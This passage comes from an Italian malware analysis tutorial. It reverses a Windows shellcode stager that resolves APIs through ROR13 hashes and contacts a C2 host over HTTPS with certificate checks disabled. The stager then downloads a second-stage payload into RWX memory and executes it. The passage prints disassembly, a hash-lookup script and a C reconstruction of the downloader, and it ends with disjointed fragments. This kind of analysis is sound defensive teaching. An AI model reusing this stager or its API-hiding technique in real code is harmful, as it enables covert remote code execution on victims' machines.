In sintesi, l'intero blocco recupera il `FullDllName` nella voce di modulo corrente del PEB, salvando il buffer in `esi` e la sua lunghezza in `ecx`.
## Calcolo dell'hash del nome del modulo
Esaminiamo le prossime istruzioni:```assembly
0x000000000000001c: 31 FF xor edi, edi
0x000000000000001e: 31 C0 xor eax, eax
0x0000000000000020: AC lodsb al, byte ptr [esi]
0x0000000000000021: 3C 61 cmp al, 0x61
0x0000000000000023: 7C 02 jl 0x27
0x0000000000000025: 2C 20 sub al, 0x20
0x0000000000000027: C1 CF 0D ror edi, 0xd
0x000000000000002a: 01 C7 add edi, eax
0x000000000000002c: E2 F0 loop 0x1e
La istruzione lodsb è esattamente il motivo per cui la stringa è stata salvata in esi, perché la lunghezza è stata salvata in ecx e perché il flag di direzione è stato azzerato.
Questa legge il primo carattere ANSI (byte) puntato da esi, incrementando esi di uno e salvando il risultato nel registro al.
Le parti successive convertono i caratteri minuscoli in maiuscoli - se il codice ASCII è maggiore o uguale a 0x61 ('a'), viene sottratto 0x20.
Dopo la conversione in maiuscolo, il registro edi viene ruotato a destra di 0xd e poi il valore del carattere viene aggiunto ad esso.
Poiché edi viene ruotato - perde le informazioni sui caratteri che vengono aggiunti ma mantiene una sorta di aggregato di essi nel suo valore.
In altre parole - edi è una sorta di hash della stringa puntata da esi. L'istruzione loop, tra l'altro, sfrutta astutamente il fatto che ecx è il contatore per la lunghezza della stringa - decrementa di uno e eseguirà l'iterazione successiva finché non è zero.
Tradurre questa logica in Python è piuttosto semplice:```python
def get_string_hash(s):
v = 0
for c in s.upper():
v = (v >> 0xd) | ((v & 0x1fff) << 19)
v = (v + ord(c)) & 0xffffffff
return v
## Esaminando la tabella delle esportazioni
Passiamo al prossimo paio di istruzioni:```assembly
0x000000000000002e: 52 push edx
0x000000000000002f: 57 push edi
0x0000000000000030: 8B 52 10 mov edx, dword ptr [edx + 0x10]
0x0000000000000033: 8B 42 3C mov eax, dword ptr [edx + 0x3c]
0x0000000000000036: 01 D0 add eax, edx
0x0000000000000038: 8B 40 78 mov eax, dword ptr [eax + 0x78]
0x000000000000003b: 85 C0 test eax, eax
0x000000000000003d: 74 4A je 0x89
0x000000000000003f: 01 D0 add eax, edx
0x0000000000000041: 50 push eax
0x0000000000000042: 8B 48 18 mov ecx, dword ptr [eax + 0x18]
0x0000000000000045: 8B 58 20 mov ebx, dword ptr [eax + 0x20]
0x0000000000000048: 01 D3 add ebx, edx
Prima, edx (che contiene la voce del modulo corrente) e edi (che contiene l'hash del suo nome) vengono salvati nello stack.
Dopodiché, edx viene referenziato all'offset 0x10. Poiché siamo a 8 byte all'interno della struttura (di tipo LDR_DATA_TABLE_ENTRY), 0x10 è il membro DllBase della voce (0x18 - 0x8).
Anche in memoria, il modulo ha una struttura dati PE, e l'offset 0x3c corrisponde al puntatore all'header PE nell'header DOS.
Possiamo vedere eax trattato come un RVA, dato che edx viene sommato ad esso - edx è l'indirizzo di base del modulo in memoria.
Analogamente, l'offset 0x78 da quello è la tabella degli export PE, che contiene informazioni sui simboli esportati (solitamente funzioni).
La struttura dati corrispondente è chiamata IMAGE_EXPORT_DIRECTORY ed è ben documentata.
Supponendo che non sia zero (cosa che viene verificata con ) - facciamo push di e dereferenziamo due parti al suo interno:
NumberOfNames.AddressOfNames.
Quindi, per riassumere, questa parte ha eseguito un parsing del PE per ottenere la tabella degli export - e in particolare il numero di simboli esportati (in ecx) e il loro indirizzo in memoria (in ebx).Proseguendo:```assembly 0x000000000000004a: E3 3C jecxz 0x88 0x000000000000004c: 49 dec ecx 0x000000000000004d: 8B 34 8B mov esi, dword ptr [ebx + ecx*4] 0x0000000000000050: 01 D6 add esi, edx
L'istruzione `jecxz` salta se `ecx` è zero: questo accade se non ci sono nomi esportati, ma suggerisce anche che questo controllo avverrà in un ciclo.
Il fatto che decrementiamo `ecx` conferma il sospetto: ci aspettiamo un'iterazione su tutti i simboli esportati per verificare qualche condizione.
Vediamo `ecx` moltiplicato per 4 e sommato a `ebx`: tutti gli elementi in `AddressOfNames` sono RVA dei nomi dei simboli, quindi alla fine `esi` punta a un nome esportato.```assembly
0x0000000000000052: 31 FF xor edi, edi
0x0000000000000054: 31 C0 xor eax, eax
0x0000000000000056: AC lodsb al, byte ptr [esi]
0x0000000000000057: C1 CF 0D ror edi, 0xd
0x000000000000005a: 01 C7 add edi, eax
0x000000000000005c: 38 E0 cmp al, ah
0x000000000000005e: 75 F4 jne 0x54
Questa parte somiglia allo stesso calcolo di hash visto in precedenza, ma invece di usare ecx come contatore - calcola l'hash fino a un terminatore NUL:
edi viene impostato a zero (tramite auto-XOR). Proprio come prima, edi manterrà il valore dell'hash.eax viene impostato a zero. Il suo byte inferiore (al) conterrà il codice ASCII del carattere corrente in ogni iterazione.lodsb, il codice imposta al al byte puntato da esi e incrementa esi al byte successivo.edi viene ruotato a destra di 0xd volte e poi viene aggiunto a esso il valore ASCII del carattere corrente.al e ah in realtà confronta semplicemente al con zero (terminatore NUL), poiché nessuna operazione qui tocca gli altri byte di eax e ci siamo assicurati che siano zero.Ci aspettiamo che le parti successive eseguano una sorta di confronto tra i diversi hash che abbiamo calcolato (nome del modulo, nome del simbolo) e gli input che abbiamo ricevuto:```assembly
0x0000000000000060: 03 7D F8 add edi, dword ptr [ebp - 8]
0x0000000000000063: 3B 7D 24 cmp edi, dword ptr [ebp + 0x24]
0x0000000000000066: 75 E2 jne 0x4a
0x0000000000000068: 58 pop eax
0x0000000000000069: 8B 58 24 mov ebx, dword ptr [eax + 0x24]
0x000000000000006c: 01 D3 add ebx, edx
0x000000000000006e: 66 8B 0C 4B mov cx, word ptr [ebx + ecx2]
0x0000000000000072: 8B 58 1C mov ebx, dword ptr [eax + 0x1c]
0x0000000000000075: 01 D3 add ebx, edx
0x0000000000000077: 8B 04 8B mov eax, dword ptr [ebx + ecx4]
0x000000000000007a: 01 D0 add eax, edx
0x000000000000007c: 89 44 24 24 mov dword ptr [esp + 0x24], eax
0x0000000000000080: 5B pop ebx
0x0000000000000081: 5B pop ebx
0x0000000000000082: 61 popad
0x0000000000000083: 59 pop ecx
0x0000000000000084: 5A pop edx
0x0000000000000085: 51 push ecx
0x0000000000000086: FF E0 jmp eax
Bene, `ebp-8` punta esattamente al vecchio valore di `edi` che abbiamo inserito nello stack - che conteneva l'hash del nome del modulo impostato.
Sommiamo quel valore hash con l'hash del nome esportato e lo confrontiamo con il DWORD all'indirizzo `ebp+0x24`.
A causa di una precedente istruzione `pushad`, abbiamo inserito 8 registri nello stack, quindi questo punta direttamente all'ultimo valore misterioso che è stato inserito all'inizio (0x726774c)!
Se non sono uguali - saltiamo all'offset `0x4a` per passare al simbolo successivo nello stesso modulo.
Altrimenti, ripristiniamo la tabella di esportazione in `eax`, dereferenziamo 0x24 byte più avanti (che è la tabella degli ordinali) e aggiungiamo alla base `ebx`.
La tabella degli ordinali contiene 2 byte per ogni voce - e poiché `ecx` è il numero della voce, `ebx + ecx*2` è il valore ordinale.
Le prossime due righe sono semplici: `0x1c` nella tabella di esportazione è l'indirizzo delle funzioni esportate, e `ebx + ecx*4` rappresenta l'indirizzo della funzione indicizzata da `ecx`.
Come si può vedere, questo valore viene salvato in `eax` e infine chiamato:
- Salvare il valore di `eax` in `esp + 0x24`, che in questo momento è esattamente dove il registro `eax` è stato salvato nell'istruzione `pushad`. Questo garantisce che il valore di `eax` non vada perso quando eseguiamo `popad`.
- Eseguire due pop fittizi su `ebx` per eliminare i due push precedenti (l'hash calcolato e la voce del modulo).
- Eseguire un `popad`, che ripristina tutti i registri generali dallo stack, ma salva `eax` grazie alla nostra sovrascrittura precedente. A questo punto lo stack e i registri sono uguali al loro stato originale quando si è entrati nella funzione, tranne `eax` che è un puntatore a funzione desiderato.
- Estrarre il valore di ritorno (inserito dalla `call ebp`) in `ecx` e l'hash desiderato in `edx`, quindi inserire di nuovo `ecx` nello stack, eliminando di fatto il valore hash misterioso dallo stack.
- Eseguire `jmp eax` a questo punto conclude la funzione - la funzione puntata da `eax` verrà eseguita e, quando ritorna, userà il valore di ritorno originale.
L'ultima parte di questa lunga logica sostanzialmente continua al modulo successivo:```assembly
0x0000000000000088: 58 pop eax
0x0000000000000089: 5F pop edi
0x000000000000008a: 5A pop edx
0x000000000000008b: 8B 12 mov edx, dword ptr [edx]
0x000000000000008d: EB 86 jmp 0x15
Questo essenzialmente ripulirà i push precedenti e si sposterà all'offset 0x15, dove verrà usato il modulo successivo.
Per riassumere - l'intero shellcode tra l'offset 6 e 0x8d (inclusi) prevede che i parametri vengano spinti per una funzione, seguiti da un hash personalizzato. Quando l'hash viene trovato - viene chiamata la funzione pertinente. È sicuramente un bel modo per evitare di avere stringhe con nomi di funzioni nel tuo codice!
Dato che esamineremo questi hash abbastanza spesso, è bene automatizzare il nostro lavoro. Riutilizziamo gli script Python che abbiamo scritto prima e scriviamo una funzione che cerca un dato hash:```python import os import pefile import sys
BASE_DIR = os.path.join(os.environ['WINDIR'], 'system32')
def get_string_hash(s): v = 0 for c in s: v = (v >> 0xd) | ((v & 0x1fff) << 19) v = (v + ord(c)) & 0xffffffff return v
def get_lib_hash(s): return get_string_hash(''.join([ i + '\x00' for i in (s + '\x00').upper() ]))
def get_sym_hash(s): return get_string_hash(s + '\x00')
def find_by_hash(hash, dll_postfix): for dll_name in os.listdir(BASE_DIR): if not dll_name.endswith(dll_postfix): continue dll_path = os.path.join(BASE_DIR, dll_name) dll_hash = get_lib_hash(dll_name) pe = pefile.PE(dll_path) if pe is None or not hasattr(pe, 'DIRECTORY_ENTRY_EXPORT'): continue syms = [ sym.name.decode() for sym in pe.DIRECTORY_ENTRY_EXPORT.symbols if sym.name is not None ] for s in syms: if (get_sym_hash(s) + dll_hash) & 0xFFFFFFFF == hash: print('%s!%s' % (dll_name, s)) return print('Coult not find hash!')
if name == 'main': if len(sys.argv) > 1: dll_postfix = '.dll' if len(sys.argv) == 2 else sys.argv[2] num = int(sys.argv[1], 16) if 'x' in sys.argv[1] else int(sys.argv[1]) find_by_hash(num, dll_postfix)
Ad esempio, quando eseguiamo `get_hash.py 0x726774c kernel32.dll` otteniamo l'output `kernel32.dll!LoadLibraryA`!
## Analisi della logica principale
Ora che abbiamo capito come funziona l'intera funzionalità di hashing, è il momento della caccia agli hash!
Torniamo alla logica principale: abbiamo detto che la stringa `wininet` viene inserita nello stack, e ora sappiamo che `LoadLibraryA` viene chiamata con essa.
Le parti successive sono ora:```assembly
0x00000000000000a2: E8 00 00 00 00 call 0xa7
0x00000000000000a7: 31 FF xor edi, edi
0x00000000000000a9: 57 push edi
0x00000000000000aa: 57 push edi
0x00000000000000ab: 57 push edi
0x00000000000000ac: 57 push edi
0x00000000000000ad: 57 push edi
0x00000000000000ae: 68 3A 56 79 A7 push 0xa779563a
0x00000000000000b3: FF D5 call ebp
La call lì spinge l'indirizzo di ritorno nello stack (0xa7).
Quindi azzeriamo edi e inseriamo 5 zeri nello stack. Il 0xa779563a è un altro hash, questa volta in wininet.dll, dato che get_hash.py 0xa779563a restituisce wininet.dll!InternetOpenA.
Pertanto, il codice chiama InternetOpenA con tutti zeri e NULL.
Ci sono un paio di salti che finiscono in una chiamata di nuovo all'offset 0xba:```assembly 0x00000000000000b5: E9 A4 00 00 00 jmp 0x15e 0x00000000000000ba: 5B pop ebx ... 0x000000000000015e: E9 C9 01 00 00 jmp 0x32c ... 0x000000000000032c: E8 89 FD FF FF call 0xba 0x0000000000000331: 68 75 71 65 69 push 0x69657175 0x0000000000000336: E6 outs dx, byte ptr ds:[esi] ...
L'idea è che quando torniamo - avremo l'indirizzo dell'offset `0x331` pushato.
Ho aggiunto un paio di istruzioni assembly a quell'indirizzo - nota che `outs`, ad esempio, non è qualcosa che ci aspettiamo.
Esaminando quei byte *come dati* si ottiene una storia diversa:```python
binascii.unhexlify('68757165696e632e636f6d005d44fd6d')
Questo produce la stringa huqeinc.com (con un terminatore NUL), seguita da 4 byte incomprensibili.
Quindi, quando torniamo all'indirizzo 0xba facciamo pop su ebx, che punterà a quella stringa.
Esaminiamo le parti successive a quell'istruzione:```assembly
0x00000000000000bb: 31 C9 xor ecx, ecx
0x00000000000000bd: 51 push ecx
0x00000000000000be: 51 push ecx
0x00000000000000bf: 6A 03 push 3
0x00000000000000c1: 51 push ecx
0x00000000000000c2: 51 push ecx
0x00000000000000c3: 68 BB 01 00 00 push 0x1bb
0x00000000000000c8: 53 push ebx
0x00000000000000c9: 50 push eax
0x00000000000000ca: 68 57 89 9F C6 push 0xc69f8957
0x00000000000000cf: FF D5 call ebp
Il valore `0xc69f8957` è un altro hash, questa volta per `wininet.dll!InternetConnectA`.
Quella funzione accetta molti parametri, ma in sostanza otteniamo: `InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL)`.
Nota che `INTERNET_SERVICE_HTTP` è 3, `0x1bb` è 443, e `eax` conteneva il risultato di `InternetOpenA`.
Andando avanti, vediamo una serie simile di salti dopo aver salvato il risultato di `InternetConnectA`:```assembly
0x00000000000000d1: 50 push eax
0x00000000000000d2: E9 8C 00 00 00 jmp 0x163
0x00000000000000d7: 5B pop ebx
0x00000000000000d8: 31 D2 xor edx, edx
0x00000000000000da: 52 push edx
0x00000000000000db: 68 00 32 C0 84 push 0x84c03200
0x00000000000000e0: 52 push edx
0x00000000000000e1: 52 push edx
0x00000000000000e2: 52 push edx
0x00000000000000e3: 53 push ebx
0x00000000000000e4: 52 push edx
0x00000000000000e5: 50 push eax
0x00000000000000e6: 68 EB 55 2E 3B push 0x3b2e55eb
0x00000000000000eb: FF D5 call ebp
...
0x0000000000000163: E8 6F FF FF FF call 0xd7
0x0000000000000168: 2F das
0x0000000000000169: 51 push ecx
0x000000000000016a: 70 59 jo 0x1c5
...
Come prima, le istruzioni dopo la chiamata hanno poco senso, quindi sospettiamo che debbano essere interpretate come dati.
In effetti, codificano la stringa con terminazione NUL /QpYB, il che non è di grande aiuto. Notiamo che quando torniamo all'offset 0xd7, un puntatore a quella stringa viene inserito nello stack.
Tornando a 0xd7, quell'indirizzo viene estratto (pop) in ebx. Per capire cosa significano quei dati, cerchiamo di capire quale funzione viene chiamata.
L'hash 0x3b2e55eb corrisponde a wininet.dll!HttpOpenRequestA, che riceve anche molti parametri.
La maggior parte di questi parametri saranno NULL (a causa del push di edx), ad eccezione dei seguenti:
hConnect è eax, che è il risultato di InternetConnectA.lpszObjectName è la stringa che abbiamo visto (/QpYB).dwFlags contiene il valore 0x84c03200 che, secondo questo, corrisponde a INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD.La coppia successiva di istruzioni termina con un'altra chiamata API:```assembly 0x00000000000000ed: 89 C6 mov esi, eax 0x00000000000000ef: 83 C3 50 add ebx, 0x50 0x00000000000000f2: 68 80 33 00 00 push 0x3380 0x00000000000000f7: 89 E0 mov eax, esp 0x00000000000000f9: 6A 04 push 4 0x00000000000000fb: 50 push eax 0x00000000000000fc: 6A 1F push 0x1f 0x00000000000000fe: 56 push esi 0x00000000000000ff: 68 75 46 9E 86 push 0x869e4675 0x0000000000000104: FF D5 call ebp
Dopo aver salvato i risultati di `HttpOpenRequestA` in `esi`, aggiungiamo 0x50 a `ebx`.
Poiché è garantito che `ebx` persista tra le chiamate, ora punterà all'offset `0x1b8` nello shellcode, che, quando presentato come stringa, appare così: `User-Agent: Microsoft-CryptoAPI/6.1\r\n`.
L'hash `0x869e4675` risolve l'API `wininet.dll!InternetSetOptionA`, che riceverà i seguenti argomenti:
- L'handle della richiesta salvato in `esi`.
- Il valore `0x1f` come `dwOption`, che corrisponde a `INTERNET_OPTION_SECURITY_FLAGS` secondo [questo](https://learn.microsoft.com/en-us/windows/win32/wininet/option-flags).
- Il parametro `lpBuffer` sarà un puntatore al valore `0x3380`, che codifica i flag di sicurezza per la richiesta: `WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID`.
- Il valore di `dwBufferLength` è 4, poiché è stato impostato solo un DWORD come `lpBuffer`.
Questo farà sì che la connessione utilizzi TLS ma ignori tutti gli errori di certificato, ecc.
Ecco le parti successive:```assembly
0x0000000000000106: 5F pop edi
0x0000000000000107: 31 FF xor edi, edi
0x0000000000000109: 57 push edi
0x000000000000010a: 57 push edi
0x000000000000010b: 6A FF push -1
0x000000000000010d: 53 push ebx
0x000000000000010e: 56 push esi
0x000000000000010f: 68 2D 06 18 7B push 0x7b18062d
0x0000000000000114: FF D5 call ebp
0x0000000000000116: 85 C0 test eax, eax
0x0000000000000118: 0F 84 CA 01 00 00 je 0x2e8
0x000000000000011e: 31 FF xor edi, edi
0x0000000000000120: 85 F6 test esi, esi
0x0000000000000122: 74 04 je 0x128
0x0000000000000124: 89 F9 mov ecx, edi
0x0000000000000126: EB 09 jmp 0x131
0x0000000000000128: 68 AA C5 E2 5D push 0x5de2c5aa
0x000000000000012d: FF D5 call ebp
0x000000000000012f: 89 C1 mov ecx, eax
0x0000000000000131: 68 45 21 5E 31 push 0x315e2145
0x0000000000000136: FF D5 call ebp
0x0000000000000138: 31 FF xor edi, edi
0x000000000000013a: 57 push edi
0x000000000000013b: 6A 07 push 7
0x000000000000013d: 51 push ecx
0x000000000000013e: 56 push esi
0x000000000000013f: 50 push eax
0x0000000000000140: 68 B7 57 E0 0B push 0xbe057b7
0x0000000000000145: FF D5 call ebp
0x0000000000000147: BF 00 2F 00 00 mov edi, 0x2f00
0x000000000000014c: 39 C7 cmp edi, eax
0x000000000000014e: 75 07 jne 0x157
0x0000000000000150: 58 pop eax
0x0000000000000151: 50 push eax
0x0000000000000152: E9 7B FF FF FF jmp 0xd2
0x0000000000000157: 31 FF xor edi, edi
0x0000000000000159: E9 91 01 00 00 jmp 0x2ef
C'è una pop fittizia per pulire i push eccessivi precedenti (abbiamo pushato le opzioni di sicurezza sullo stack).
Dato che vediamo un altro hash (0x7b18062d), ne risolviamo immediatamente l'API: wininet.dll!HttpSendRequestA.
Qui ci sono alcune parti degne di nota:
ebx viene usato come secondo argomento della funzione.0x2e8.esi è zero in realtà verifica che l'handle della richiesta non sia NULL. È abbastanza strano, dato che a questo punto abbiamo già invocato HttpSendRequestA, ma comunque - se lo fosse, si salta a 0x128.0x128 usiamo l'hash 0x5de2c5aa, che è kernel32.dll!GetLastError, e salviamo il suo risultato in ecx.0x131 usiamo l'hash 0x315e2145, che è user32.dll!GetDesktopWindow, e poi usiamo quel risultato con l'hash 0xbe057b7, che è .L'idea è semplicemente chiamare InternetErrorDlg e vedere se è necessario un nuovo tentativo.
Ricordiamo anche: se HttpSendRequestA fallisce - si salta a 0x2e8. Se ha successo e non è richiesto un nuovo tentativo - si salta a 0x2ef.
Esaminando l'offset 0x2e8 (il percorso di fallimento):```assembly
0x00000000000002e8: 68 F0 B5 A2 56 push 0x56a2b5f0
0x00000000000002ed: FF D5 call ebp
Il valore hash corrisponde a `kernel32.dll!ExitProcess`, quindi in caso di errore - usciamo dal processo.
Questa intera parte potrebbe essere tradotta così:```c
if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0))
{
ExitProcess(0);
}
if (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA, NULL))
{
goto lblRetryConn;
}
...
Esaminiamo cosa succede all'offset 0x2ef:```assembly
0x00000000000002ef: 6A 40 push 0x40
0x00000000000002f1: 68 00 10 00 00 push 0x1000
0x00000000000002f6: 68 00 00 40 00 push 0x400000
0x00000000000002fb: 57 push edi
0x00000000000002fc: 68 58 A4 53 E5 push 0xe553a458
0x0000000000000301: FF D5 call ebp
0x0000000000000303: 93 xchg ebx, eax
0x0000000000000304: B9 00 00 00 00 mov ecx,0x0
0x0000000000000309: 01 D9 add ecx,ebx
0x000000000000030b: 51 push ecx
0x000000000000030c: 53 push ebx
0x000000000000030d: 89 E7 mov edi, esp
0x000000000000030f: 57 push edi
0x0000000000000310: 68 00 20 00 00 push 0x2000
0x0000000000000315: 53 push ebx
0x0000000000000316: 56 push esi
0x0000000000000317: 68 12 96 89 E2 push 0xe2899612
0x000000000000031c: FF D5 call ebp
0x000000000000031e: 85 C0 test eax, eax
0x0000000000000320: 74 C6 je 0x2e8
Riesci a indovinare qual è l'hash `0xe553a458` basandoti solo su quelle altre costanti?
- `0x40` è `PAGE_EXECUTEREADWRITE` come abbiamo visto prima.
- `0x1000` è `MEM_COMMIT`.
In effetti, quell'hash corrisponde a `kernel32.dll!VirtualAlloc`, e semplicemente allocamo un blocco RWX di dimensione `0x400000`.
È importante capire la logica dell'attaccante qui: dato che abbiamo una connessione internet a qualche server C2, e ora allocamo una pagina RWX — ci aspettiamo di ricevere un altro payload!
Dopo quella chiamata, il buffer di memoria risultante viene salvato in `ebx` e `ecx`.
All'offset `0x30b` inizia un'altra serie di push sullo stack per una chiamata di funzione — questa volta con l'hash `0xe2899612` (`wininet.dll!InternetReadFile`).
I push determinano i parametri (in ordine inverso):
- `hFile` è `esi`, che era la nostra richiesta internet (di tipo `HINTERNET`).
- `lpBuffer` è `ebx` — il nostro buffer appena allocato.
- `dwNumberOfBytesToRead` è impostato a `0x2000`.
- `lpdwNumberOfBytesRead` è `edi`, che punta allo spazio extra che abbiamo allocato sullo stack.
Infine, se questa funzione fallisce, saltiamo a `0x2e8`, che chiamerà di nuovo `ExitProcess`.
Nota che c'è un'istruzione `push` aggiuntiva di `ecx` (offset `0x30b`) — questo significa che abbiamo salvato l'indirizzo del nostro buffer allocato.
Siamo quasi alla fine! Esaminiamo le ultime due istruzioni:```assembly
0x0000000000000322: 8B 07 mov eax, dword ptr [edi]
0x0000000000000324: 01 C3 add ebx, eax
0x0000000000000326: 85 C0 test eax, eax
0x0000000000000328: 75 E5 jne 0x30f
0x000000000000032a: 58 pop eax
0x000000000000032b: C3 ret
Bene, edi puntava al numero di byte letti - viene dereferenziato in eax.
Poi, aggiungiamo quel valore a ebx, che viene preservato e punta alla nostra regione di memoria RWX.
Se eax non è zero, significa che sono stati letti alcuni byte, quindi saltiamo di nuovo a 0x30f per leggere altri dati.
Questo è comune negli scenari di lettura - leggiamo un massimo di 0x2000 byte ogni volta finché non leggiamo 0, il che significa che non ci sono più byte da leggere.
Se non saltiamo, allora siamo a 0x32a, dove facciamo pop dei byte allocati dallo stack e chiamiamo ret.
Come promemoria, prima abbiamo spinto l'inizio del buffer restituito, quindi ret lo userà come indirizzo di ritorno.
Questo significa che saltiamo semplicemente al buffer ottenuto - sostanzialmente trattandolo come un altro shellcode!
Ecco come potrebbe apparire concettualmente il nostro shellcode:```c HINTERNET hInternet; HINTERNET hConnect; HINTERNET hRequest; DWORD dwSecurityOptions = WINHTTP_FLAG_SECURE_PROTOCOL_TLS1 | SECURITY_FLAG_IGNORE_UNKNOWN_CA | WINHTTP_FLAG_SECURE_PROTOCOL_TLS1_1 | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID; DWORD dwErrorFlags = FLAGS_ERROR_UI_FILTER_FOR_ERRORS | FLAGS_ERROR_UI_FLAGS_CHANGE_OPTIONS | FLAGS_ERROR_UI_FLAGS_GENERATE_DATA; PBYTE pcPayload; PBYTE pcCurrPtr; DWORD dwBytesRead; INT (*pfnPayload)();
// Make sure "wininet.dll" is loaded in current process LoadLibraryA("wininet");
// Connect to C2 hInternet = InternetOpenA(NULL, 0, NULL, NULL, 0); hConnect = InternetConnectA(hInternet, "huqeinc.com", 443, NULL, NULL, INTERNET_SERVICE_HTTP, 0, NULL);
// Attempt to create a request to C2 do { hRequest = HttpOpenRequestA(hConnect, NULL, "/QpYB", NULL, NULL, NULL, INTERNET_FLAG_NO_UI | INTERNET_FLAG_IGNORE_CERT_CN_INVALID | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID | INTERNET_FLAG_KEEP_CONNECTION | INTERNET_FLAG_SECURE | INTERNET_FLAG_DONT_CACHE | INTERNET_FLAG_RELOAD, NULL); InternetSetOptionA(hRequest, INTERNET_OPTION_SECURITY_FLAGS, &dwSecurityOptions, sizeof(dwSecurityOptions)); if (!HttpSendRequestA(hRequest, "User-Agent: Microsoft-CryptoAPI/6.1\r\n", -1, NULL, 0)) { ExitProcess(0); } } while (ERROR_INTERNET_FORCE_RETRY == InternetErrorDlg(GetDesktopWindow(), hRequest, NULL == hRequest ? GetLastError() : 0, dwErrorFlags, NULL));
// Allocate RWX payload pcPayload = VirtualAlloc(NULL, 0x400000, MEM_COMMIT, PAGE_EXECUTEREADWRITE);
// Read payload from the C2 pcCurrPtr = pcPayload; do { if (!InternetReadFile(hRequest, pcCurrPtr, 0x2000, &dwBytesRead)) { ExitProcess(0); } pcCurrPtr += dwBytesRead; } while (0 < dwBytesRead);
// Execute payload pfnPayload = (INT(*)())pcPayload; pfnPayload();
## Riepilogo
Anche se questo è uno shellcode molto comune da analizzare, analizzarlo staticamente offre vantaggi didattici:
- Abbiamo estratto più livelli di codice PowerShell per ottenere uno shellcode a 32 bit.
- Durante l'analisi dello shellcode abbiamo discusso il `PEB` e le strategie di shellcoding su Windows.
- Abbiamo costruito uno strumento per la ricerca inversa degli hash (vedi `get_hash.py` in questo repository).
- Abbiamo discusso tecniche comuni di shellcode come `push-ret` e `call-pop`.
- Abbiamo toccato alcune parti della struttura del file `PE`.
Grazie,
Jonathan Bar Or (https://jonathanbaror.com)
MEM_COMMIT | MEM_RESERVEPAGE_EXECUTEREADWRITE$var_code (che è stato decodificato da base64 e XOR-ato con la costante 35) viene copiato nel buffer e poi eseguito (mediante il delegato $var_runme).$DoIt.ecxecxtesteaxloop (che interagisce con ecx), saltiamo semplicemente all'indietro (con jne) - finché non incontriamo un terminatore NUL.wininet.dll!InternetErrorDlg0x2f00 è ERROR_INTERNET_FORCE_RETRY, e confrontiamo con essa il risultato di InternetErrorDlg.